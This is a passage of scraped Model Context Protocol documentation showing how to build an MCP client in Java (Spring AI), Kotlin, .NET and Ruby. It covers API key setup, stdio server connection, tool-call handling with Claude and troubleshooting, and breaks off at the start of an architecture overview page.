ANTHROPIC_API_KEY='your-anthropic-api-key-here' export BRAVE_API_KEY='your-brave-api-key-here' 4. Build the application: ./mvnw clean install 5. Run the application using Maven: ./mvnw spring-boot:run Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure! [​](https://modelcontextprotocol.io/docs/develop/build-client#how-it-works-3) How it Works --------------------------------------------------------------------------------------------- The application integrates Spring AI with the Brave Search MCP server through several components: ### [​](https://modelcontextprotocol.io/docs/develop/build-client#mcp-client-configuration) MCP Client Configuration 1. Required dependencies in pom.xml: org.springframework.ai spring-ai-starter-mcp-client org.springframework.ai spring-ai-starter-model-anthropic 2. Application properties (application.yml): spring: ai: mcp: client: enabled: true name: brave-search-client version: 1.0.0 type: SYNC request-timeout: 20s stdio: root-change-notification: true servers-configuration: classpath:/mcp-servers-config.json toolcallback: enabled: true anthropic: api-key: ${ANTHROPIC_API_KEY} This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration. The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools. It is disabled by default. 3. MCP Server Configuration (`mcp-servers-config.json`): { "mcpServers": { "brave-search": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-brave-search"], "env": { "BRAVE_API_KEY": "" } } } } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#chat-implementation) Chat Implementation The chatbot is implemented using Spring AI’s ChatClient with MCP tool integration: var chatClient = chatClientBuilder .defaultSystem("You are useful assistant, expert in AI and Java.") .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks()) .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory())) .build(); Key features: * Uses Claude AI model for natural language understanding * Integrates Brave Search through MCP for real-time web search capabilities * Maintains conversation memory using InMemoryChatMemory * Runs as an interactive command-line application ### [​](https://modelcontextprotocol.io/docs/develop/build-client#build-and-run) Build and run ./mvnw clean install java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar or ./mvnw spring-boot:run The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.The chatbot can: * Answer questions using its built-in knowledge * Perform web searches when needed using Brave Search * Remember context from previous messages in the conversation * Combine information from multiple sources to provide comprehensive answers ### [​](https://modelcontextprotocol.io/docs/develop/build-client#advanced-configuration) Advanced Configuration The MCP client supports additional configuration options: * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer` * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events) * Integration with Spring AI’s tool execution framework * Automatic client initialization and lifecycle management For WebFlux-based applications, you can use the WebFlux starter instead: org.springframework.ai spring-ai-mcp-client-webflux-spring-boot-starter This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments. [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements-4) System Requirements ----------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * JDK 11 or higher * Anthropic API key (Claude) [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment-4) Setting up your environment --------------------------------------------------------------------------------------------------------------------------- First, let’s install `java` and `gradle` if you haven’t already. You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/) . Verify your `java` installation: java --version Now, let’s create and set up your project: macOS/Linux Windows # Create a new directory for our project mkdir kotlin-mcp-client cd kotlin-mcp-client # Initialize a new kotlin project gradle init After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html) .After creating the project, replace the contents of your `build.gradle.kts` with: build.gradle.kts // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases val mcpVersion = "0.9.0" val ktorVersion = "3.2.3" val anthropicVersion = "2.15.0" val slf4jVersion = "2.0.17" plugins { kotlin("jvm") version "2.3.20" id("com.gradleup.shadow") version "8.3.9" application } application { mainClass.set("MainKt") } dependencies { implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") implementation("io.ktor:ktor-client-cio:$ktorVersion") implementation("com.anthropic:anthropic-java:$anthropicVersion") implementation("org.slf4j:slf4j-simple:$slf4jVersion") } Verify that everything is set up correctly: ./gradlew build [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-api-key-3) Setting up your API key ------------------------------------------------------------------------------------------------------------------- You’ll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys) .Set up your API key: export ANTHROPIC_API_KEY='your-anthropic-api-key-here' Make sure you keep your `ANTHROPIC_API_KEY` secure! [​](https://modelcontextprotocol.io/docs/develop/build-client#creating-the-client-3) Creating the Client ----------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#basic-client-structure-3) Basic Client Structure First, let’s create the basic client class: class MCPClient(apiKey: String) : AutoCloseable { private val anthropic = AnthropicOkHttpClient.builder() .apiKey(apiKey) .build() private val mcp: Client = Client( clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0") ) private var serverProcess: Process? = null private lateinit var tools: List // methods will go here override fun close() { runBlocking { mcp.close() } serverProcess?.destroy() anthropic.close() } } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-connection-management-3) Server connection management Next, we’ll implement the method to connect to an MCP server: suspend fun connectToServer(serverScriptPath: String) { val command = buildList { when (serverScriptPath.substringAfterLast(".")) { "js" -> add("node") "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3") "jar" -> addAll(listOf("java", "-jar")) else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file") } add(serverScriptPath) } val process = ProcessBuilder(command).start() serverProcess = process val transport = StdioClientTransport( input = process.inputStream.asSource().buffered(), output = process.outputStream.asSink().buffered(), ) mcp.connect(transport) val toolsResult = mcp.listTools() tools = toolsResult.tools.map { tool -> ToolUnion.ofTool( Tool.builder() .name(tool.name) .description(tool.description ?: "") .inputSchema( Tool.InputSchema.builder() .type(JsonValue.from(tool.inputSchema.type)) .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue()) .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required)) .build(), ) .build(), ) } println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}") } JsonObject.toJsonValue() helper This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson: private fun JsonObject.toJsonValue(): JsonValue { val mapper = ObjectMapper() val node = mapper.readTree(this.toString()) return JsonValue.fromJsonNode(node) } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#query-processing-logic-3) Query processing logic Now let’s add the core functionality for processing queries and handling tool calls: suspend fun processQuery(query: String): String { val messages = mutableListOf( MessageParam.builder() .role(MessageParam.Role.USER) .content(query) .build(), ) val response = anthropic.messages().create( MessageCreateParams.builder() .model("claude-sonnet-4-20250514") .maxTokens(1024) .messages(messages) .tools(tools) .build(), ) val finalText = mutableListOf() response.content().forEach { content -> when { content.isText() -> finalText.add(content.text().get().text()) content.isToolUse() -> { val toolName = content.toolUse().get().name() val toolArgs = content.toolUse().get()._input().convert(object : TypeReference>() {}) val result = mcp.callTool( name = toolName, arguments = toolArgs ?: emptyMap(), ) finalText.add("[Calling tool $toolName with args $toolArgs]") messages.add( MessageParam.builder() .role(MessageParam.Role.USER) .content( result.content .filterIsInstance() .joinToString("\n") { it.text } ) .build(), ) val aiResponse = anthropic.messages().create( MessageCreateParams.builder() .model("claude-sonnet-4-20250514") .maxTokens(1024) .messages(messages) .build(), ) finalText.add(aiResponse.content().first().text().get().text()) } } } return finalText.joinToString("\n") } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#interactive-chat) Interactive chat We’ll add the chat loop: suspend fun chatLoop() { println("\nMCP Client Started!") println("Type your queries or 'quit' to exit.") while (true) { print("\nQuery: ") val message = readlnOrNull() ?: break if (message.trim().lowercase() == "quit") break try { val response = processQuery(message) println("\n$response") } catch (e: Exception) { println("\nError: ${e.message}") } } } ### [​](https://modelcontextprotocol.io/docs/develop/build-client#main-entry-point-3) Main entry point Finally, we’ll add the main execution function: fun main(args: Array) = runBlocking { require(args.isNotEmpty()) { "Usage: java -jar " } val apiKey = System.getenv("ANTHROPIC_API_KEY") require(!apiKey.isNullOrBlank()) { "ANTHROPIC_API_KEY environment variable is not set" } val client = MCPClient(apiKey) client.use { client.connectToServer(args.first()) client.chatLoop() } } [​](https://modelcontextprotocol.io/docs/develop/build-client#running-the-client-3) Running the client --------------------------------------------------------------------------------------------------------- To run your client with any MCP server: ./gradlew build # Run the client java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.jar # JVM server java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.py # Python server java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/build/index.js # Node server Alternatively, you can run directly with Gradle: ./gradlew run --args="path/to/server.jar" If you’re continuing the weather tutorial from the server quickstart, your command might look something like this: `java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar .../samples/weather-stdio-server/build/libs/weather-stdio-server-0.1.0-all.jar` **The client will:** 1. Connect to the specified server 2. List available tools 3. Start an interactive chat session where you can: * Enter queries * See tool executions * Get responses from Claude [​](https://modelcontextprotocol.io/docs/develop/build-client#how-it-works-4) How it works --------------------------------------------------------------------------------------------- Here’s a high-level workflow schema:When you submit a query: 1. The client gets the list of available tools from the server 2. Your query is sent to Claude along with tool descriptions 3. Claude decides which tools (if any) to use 4. The client executes any requested tool calls through the server 5. Results are sent back to Claude 6. Claude provides a natural language response 7. The response is displayed to you [​](https://modelcontextprotocol.io/docs/develop/build-client#best-practices-3) Best practices ------------------------------------------------------------------------------------------------- 1. **Error Handling** * Leverage Kotlin’s type system to model errors explicitly * Wrap external tool and API calls in `try-catch` blocks when exceptions are possible * Provide clear and meaningful error messages * Handle network timeouts and connection issues gracefully 2. **Security** * Store API keys and secrets securely in `local.properties`, environment variables, or secret managers * Validate all external responses to avoid unexpected or unsafe data usage * Be cautious with permissions and trust boundaries when using tools 3. **Environment** * Set `ANTHROPIC_API_KEY` through environment variables rather than hardcoding * Use `.env` files with appropriate `.gitignore` rules for local development [​](https://modelcontextprotocol.io/docs/develop/build-client#troubleshooting-3) Troubleshooting --------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-path-issues-3) Server Path Issues * Double-check the path to your server script is correct * Use the absolute path if the relative path isn’t working * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path * Make sure that the required runtime is installed (java for Java, npm for Node.js, or uv for Python) * Verify the server file has the correct extension (.jar for Java, .js for Node.js or .py for Python) Example of correct path usage: # Relative path java -jar build/libs/client.jar ./server/build/libs/server.jar # Absolute path java -jar build/libs/client.jar /Users/username/projects/mcp-server/build/libs/server.jar # Windows path (either format works) java -jar build/libs/client.jar C:/projects/mcp-server/build/libs/server.jar java -jar build/libs/client.jar C:\\projects\\mcp-server\\build\\libs\\server.jar ### [​](https://modelcontextprotocol.io/docs/develop/build-client#build-issues) Build Issues * Use `./gradlew build` or `./gradlew shadowJar` (not `./gradlew jar`) to create the shadow JAR with all dependencies * If you get JDK version errors, ensure your installed JDK version matches or exceeds the `jvmToolchain` setting in `build.gradle.kts` ### [​](https://modelcontextprotocol.io/docs/develop/build-client#response-timing-3) Response Timing * The first response might take up to 30 seconds to return * This is normal and happens while: * The server initializes * Claude processes the query * Tools are being executed * Subsequent responses are typically faster * Don’t interrupt the process during this initial waiting period ### [​](https://modelcontextprotocol.io/docs/develop/build-client#common-error-messages-3) Common Error Messages If you see: * `Connection refused`: Ensure the server is running and the path is correct * `Tool execution failed`: Verify the tool’s required environment variables are set * `ANTHROPIC_API_KEY is not set`: Check your environment variables [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements-5) System Requirements ----------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * .NET 8.0 or higher * Anthropic API key (Claude) * Windows, Linux, or macOS [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment-5) Setting up your environment --------------------------------------------------------------------------------------------------------------------------- First, create a new .NET project: dotnet new console -n QuickstartClient cd QuickstartClient Then, add the required dependencies to your project: dotnet add package ModelContextProtocol --prerelease dotnet add package Anthropic.SDK dotnet add package Microsoft.Extensions.Hosting dotnet add package Microsoft.Extensions.AI [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-api-key-4) Setting up your API key ------------------------------------------------------------------------------------------------------------------- You’ll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys) . dotnet user-secrets init dotnet user-secrets set "ANTHROPIC_API_KEY" "" [​](https://modelcontextprotocol.io/docs/develop/build-client#creating-the-client-4) Creating the Client ----------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#basic-client-structure-4) Basic Client Structure First, let’s setup the basic client class in the file `Program.cs`: using Anthropic.SDK; using Microsoft.Extensions.AI; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.Hosting; using ModelContextProtocol.Client; using ModelContextProtocol.Protocol.Transport; var builder = Host.CreateApplicationBuilder(args); builder.Configuration .AddEnvironmentVariables() .AddUserSecrets(); This creates the beginnings of a .NET console application that can read the API key from user secrets.Next, we’ll setup the MCP Client: var (command, arguments) = GetCommandAndArguments(args); var clientTransport = new StdioClientTransport(new() { Name = "Demo Server", Command = command, Arguments = arguments, }); await using var mcpClient = await McpClient.CreateAsync(clientTransport); var tools = await mcpClient.ListToolsAsync(); foreach (var tool in tools) { Console.WriteLine($"Connected to server with tools: {tool.Name}"); } Add this function at the end of the `Program.cs` file: static (string command, string[] arguments) GetCommandAndArguments(string[] args) { return args switch { [var script] when script.EndsWith(".py") => ("python", args), [var script] when script.EndsWith(".js") => ("node", args), [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]), _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj") }; } This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server. ### [​](https://modelcontextprotocol.io/docs/develop/build-client#query-processing-logic-4) Query processing logic Now let’s add the core functionality for processing queries and handling tool calls: using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"])) .Messages .AsBuilder() .UseFunctionInvocation() .Build(); var options = new ChatOptions { MaxOutputTokens = 1000, ModelId = "claude-sonnet-4-20250514", Tools = [.. tools] }; Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("MCP Client Started!"); Console.ResetColor(); PromptForInput(); while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase)) { if (string.IsNullOrWhiteSpace(query)) { PromptForInput(); continue; } await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options)) { Console.Write(message); } Console.WriteLine(); PromptForInput(); } static void PromptForInput() { Console.WriteLine("Enter a command (or 'exit' to quit):"); Console.ForegroundColor = ConsoleColor.Cyan; Console.Write("> "); Console.ResetColor(); } [​](https://modelcontextprotocol.io/docs/develop/build-client#key-components-explained-2) Key Components Explained --------------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#1-client-initialization-2) 1\. Client Initialization * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server. ### [​](https://modelcontextprotocol.io/docs/develop/build-client#2-server-connection-2) 2\. Server Connection * Supports Python, Node.js, and .NET servers. * The server is started using the command specified in the arguments. * Configures to use stdio for communication with the server. * Initializes the session and available tools. ### [​](https://modelcontextprotocol.io/docs/develop/build-client#3-query-processing-2) 3\. Query Processing * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client. * Configures the `IChatClient` to use automatic tool (function) invocation. * The client reads user input and sends it to the server. * The server processes the query and returns a response. * The response is displayed to the user. [​](https://modelcontextprotocol.io/docs/develop/build-client#running-the-client-4) Running the Client --------------------------------------------------------------------------------------------------------- To run your client with any MCP server: dotnet run -- path/to/server.csproj # dotnet server dotnet run -- path/to/server.py # python server dotnet run -- path/to/server.js # node server If you’re continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`. The client will: 1. Connect to the specified server 2. List available tools 3. Start an interactive chat session where you can: * Enter queries * See tool executions * Get responses from Claude 4. Exit the session when done Here’s an example of what it should look like if connected to the weather server quickstart: ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-dotnet-client.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=ac9271a3dd0d7b424bb390ad0c31e14e) [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby) [​](https://modelcontextprotocol.io/docs/develop/build-client#system-requirements-6) System Requirements ----------------------------------------------------------------------------------------------------------- Before starting, ensure your system meets these requirements: * Mac or Windows computer * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby) ) * Anthropic API key (Claude) [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-environment-6) Setting Up Your Environment --------------------------------------------------------------------------------------------------------------------------- First, create a new Ruby project: macOS/Linux Windows # Create project directory mkdir mcp-client cd mcp-client # Create a Gemfile bundle init # Add required dependencies bundle add anthropic base64 dotenv mcp # Create our main file touch client.rb [​](https://modelcontextprotocol.io/docs/develop/build-client#setting-up-your-api-key-5) Setting Up Your API Key ------------------------------------------------------------------------------------------------------------------- You’ll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys) .Create a `.env` file to store it: echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env Add `.env` to your `.gitignore`: echo ".env" >> .gitignore Make sure you keep your `ANTHROPIC_API_KEY` secure! [​](https://modelcontextprotocol.io/docs/develop/build-client#creating-the-client-5) Creating the Client ----------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#basic-client-structure-5) Basic Client Structure First, let’s set up our requires and create the basic client class: require "anthropic" require "dotenv/load" require "json" require "mcp" class MCPClient ANTHROPIC_MODEL = "claude-sonnet-4-20250514" def initialize @mcp_client = nil @transport = nil @anthropic_client = nil end # methods will go here end ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-connection-management-4) Server Connection Management Next, we’ll implement the method to connect to an MCP server: def connect_to_server(server_script_path) command = case File.extname(server_script_path) when ".rb" "ruby" when ".py" "python3" when ".js" "node" else raise ArgumentError, "Server script must be a .rb, .py, or .js file." end @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path]) @mcp_client = MCP::Client.new(transport: @transport) tool_names = @mcp_client.tools.map(&:name) puts "\nConnected to server with tools: #{tool_names}" end ### [​](https://modelcontextprotocol.io/docs/develop/build-client#query-processing-logic-5) Query Processing Logic Now let’s add the core functionality for processing queries and handling tool calls: private def process_query(query) messages = [{ role: "user", content: query }] available_tools = @mcp_client.tools.map do |tool| { name: tool.name, description: tool.description, input_schema: tool.input_schema } end # Initial Claude API call. response = chat(messages, tools: available_tools) # Process response and handle tool calls. if response.content.any?(Anthropic::Models::ToolUseBlock) assistant_content = response.content.filter_map do |content_block| case content_block when Anthropic::Models::TextBlock { type: "text", text: content_block.text } when Anthropic::Models::ToolUseBlock { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input } end end messages << { role: "assistant", content: assistant_content } end response.content.each_with_object([]) do |content, response_parts| case content when Anthropic::Models::TextBlock response_parts << content.text when Anthropic::Models::ToolUseBlock # Execute tool call via MCP. result = @mcp_client.call_tool(name: content.name, arguments: content.input) response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]" tool_result_content = result.dig("result", "content") result_text = if tool_result_content.is_a?(Array) tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n") else tool_result_content.to_s end messages << { role: "user", content: [{\ type: "tool_result",\ tool_use_id: content.id,\ content: result_text\ }] } # Get next response from Claude. response = chat(messages) response.content.each do |content_block| response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock) end end end.join("\n") end def chat(messages, tools: nil) params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages } params[:tools] = tools if tools anthropic_client.messages.create(**params) end def anthropic_client @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"]) end ### [​](https://modelcontextprotocol.io/docs/develop/build-client#interactive-chat-interface-3) Interactive Chat Interface Now we’ll add the chat loop and cleanup functionality: def chat_loop puts <<~MESSAGE MCP Client Started! Type your queries or 'quit' to exit. MESSAGE loop do print "\nQuery: " line = $stdin.gets break if line.nil? query = line.chomp.strip break if query.downcase == "quit" next if query.empty? begin response = process_query(query) puts "\n#{response}" rescue => e puts "\nError: #{e.message}" end end end def cleanup @transport&.close end ### [​](https://modelcontextprotocol.io/docs/develop/build-client#main-entry-point-4) Main Entry Point Finally, we’ll add the main execution logic: if ARGV.empty? puts "Usage: ruby client.rb " exit 1 end client = MCPClient.new begin client.connect_to_server(ARGV[0]) api_key = ENV["ANTHROPIC_API_KEY"] if api_key.nil? || api_key.empty? puts <<~MESSAGE No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key: export ANTHROPIC_API_KEY=your-api-key-here MESSAGE exit end client.chat_loop rescue => e puts "Error: #{e.message}" exit 1 ensure client.cleanup end You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb) . [​](https://modelcontextprotocol.io/docs/develop/build-client#key-components-explained-3) Key Components Explained --------------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#1-client-initialization-3) 1\. Client Initialization * The `MCPClient` class initializes with nil references for lazy setup * The Anthropic client is lazily initialized via the `anthropic_client` method * Uses `dotenv` to load environment variables from `.env` ### [​](https://modelcontextprotocol.io/docs/develop/build-client#2-server-connection-3) 2\. Server Connection * Supports Ruby, Python, and Node.js servers * Uses `File.extname` to determine the server script type * Uses `MCP::Client::Stdio` for stdio transport * Initializes the MCP client and lists available tools ### [​](https://modelcontextprotocol.io/docs/develop/build-client#3-query-processing-3) 3\. Query Processing * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`) * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching * Builds assistant content once before iterating tool calls * Executes tool calls via `@mcp_client.call_tool` * Uses `chat` helper method to wrap Anthropic API calls * Extracts tool result content with `result.dig("result", "content")` * Passes tool results back to Claude for a final response ### [​](https://modelcontextprotocol.io/docs/develop/build-client#4-interactive-interface-2) 4\. Interactive Interface * Provides a simple command-line interface * Handles user input and displays responses * Skips empty queries * Includes basic error handling ### [​](https://modelcontextprotocol.io/docs/develop/build-client#5-resource-management-2) 5\. Resource Management * Proper cleanup of the transport via `begin`…`ensure` * Top-level `rescue` for error handling * API key validation after server connection [​](https://modelcontextprotocol.io/docs/develop/build-client#running-the-client-5) Running the Client --------------------------------------------------------------------------------------------------------- To run your client with any MCP server: bundle exec ruby client.rb path/to/server.rb # ruby server bundle exec ruby client.rb path/to/server.py # python server bundle exec ruby client.rb path/to/build/index.js # node server If you’re continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby) , your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb` The client will: 1. Connect to the specified server 2. List available tools 3. Start an interactive chat session where you can: * Enter queries * See tool executions * Get responses from Claude [​](https://modelcontextprotocol.io/docs/develop/build-client#how-it-works-5) How It Works --------------------------------------------------------------------------------------------- When you submit a query: 1. The client gets the list of available tools from the server 2. Your query is sent to Claude along with tool descriptions 3. Claude decides which tools (if any) to use 4. The client executes any requested tool calls through the server 5. Results are sent back to Claude 6. Claude provides a natural language response 7. The response is displayed to you [​](https://modelcontextprotocol.io/docs/develop/build-client#best-practices-4) Best practices ------------------------------------------------------------------------------------------------- 1. **Error Handling** * Wrap tool calls in `begin`…`rescue` blocks * Provide meaningful error messages * Gracefully handle connection issues 2. **Resource Management** * Always close the transport when done * Use `begin`…`ensure` for proper cleanup * Handle server disconnections 3. **Security** * Store API keys securely in `.env` * Validate server responses * Be cautious with tool permissions 4. **Tool Names** * Tool names can be validated according to the format specified [here](https://modelcontextprotocol.io/specification/draft/server/tools#tool-names) * If a tool name conforms to the specified format, it should not fail validation by an MCP client [​](https://modelcontextprotocol.io/docs/develop/build-client#troubleshooting-4) Troubleshooting --------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-client#server-path-issues-4) Server Path Issues * Double-check the path to your server script is correct * Use the absolute path if the relative path isn’t working * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby) Example of correct path usage: # Relative path bundle exec ruby client.rb ./server/weather.rb # Absolute path bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb # Windows path (either format works) bundle exec ruby client.rb C:/projects/mcp-server/weather.rb bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb ### [​](https://modelcontextprotocol.io/docs/develop/build-client#response-timing-4) Response Timing * The first response might take up to 30 seconds to return * This is normal and happens while: * The server initializes * Claude processes the query * Tools are being executed * Subsequent responses are typically faster * Don’t interrupt the process during this initial waiting period ### [​](https://modelcontextprotocol.io/docs/develop/build-client#common-error-messages-4) Common Error Messages If you see: * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available * `Connection refused`: Ensure the server is running and the path is correct * `Tool execution failed`: Verify the tool’s required environment variables are set * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY` [​](https://modelcontextprotocol.io/docs/develop/build-client#next-steps) Next steps --------------------------------------------------------------------------------------- Example servers --------------- Check out our gallery of official MCP servers and implementations Example clients --------------- View the list of clients that support MCP integrations Was this page helpful? YesNo [Build an MCP server](https://modelcontextprotocol.io/docs/develop/build-server) [Client Best Practices](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices) ⌘I --- # Architecture overview - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/learn/architecture#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation About MCP Architecture overview [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Scope](https://modelcontextprotocol.io/docs/learn/architecture#scope) * [Concepts of MCP](https://modelcontextprotocol.io/docs/learn/architecture#concepts-of-mcp) * [Participants](https://modelcontextprotocol.io/docs/learn/architecture#participants) * [Layers](https://modelcontextprotocol.io/docs/learn/architecture#layers) * [Data layer](https://modelcontextprotocol.io/docs/learn/architecture#data-layer) * [Transport layer](https://modelcontextprotocol.io/docs/learn/architecture#transport-layer) * [Data Layer Protocol](https://modelcontextprotocol.io/docs/learn/architecture#data-layer-protocol) * [Lifecycle management](https://modelcontextprotocol.io/docs/learn/architecture#lifecycle-management) * [Primitives](https://modelcontextprotocol.io/docs/learn/architecture#primitives) * [Notifications](https://modelcontextprotocol.io/docs/learn/architecture#notifications) * [Example](https://modelcontextprotocol.io/docs/learn/architecture#example) * [Data Layer](https://modelcontextprotocol.io/docs/learn/architecture#data-layer-2) * [Understanding the Initialization Exchange](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-initialization-exchange) * [How This Works in AI Applications](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications) * [Understanding the Tool Discovery Request](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-discovery-request) * [Understanding the Tool Discovery Response](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-discovery-response) * [How This Works in AI Applications](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-2) * [Understanding the Tool Execution Request](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-execution-request) * [Key Elements of Tool Execution](https://modelcontextprotocol.io/docs/learn/architecture#key-elements-of-tool-execution) * [Understanding the Tool Execution Response](https://modelcontextprotocol.io/docs/learn/architecture#understanding-the-tool-execution-response) * [How This Works in AI Applications](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-3) * [Understanding Tool List Change Notifications](https://modelcontextprotocol.io/docs/learn/architecture#understanding-tool-list-change-notifications) * [Key Features of MCP Notifications](https://modelcontextprotocol.io/docs/learn/architecture#key-features-of-mcp-notifications) * [Client Response to Notifications](https://modelcontextprotocol.io/docs/learn/architecture#client-response-to-notifications) * [Why Notifications Matter](https://modelcontextprotocol.io/docs/learn/architecture#why-notifications-matter) * [How This Works in AI Applications](https://modelcontextprotocol.io/docs/learn/architecture#how-this-works-in-ai-applications-4) This overview of the Model Context Protocol 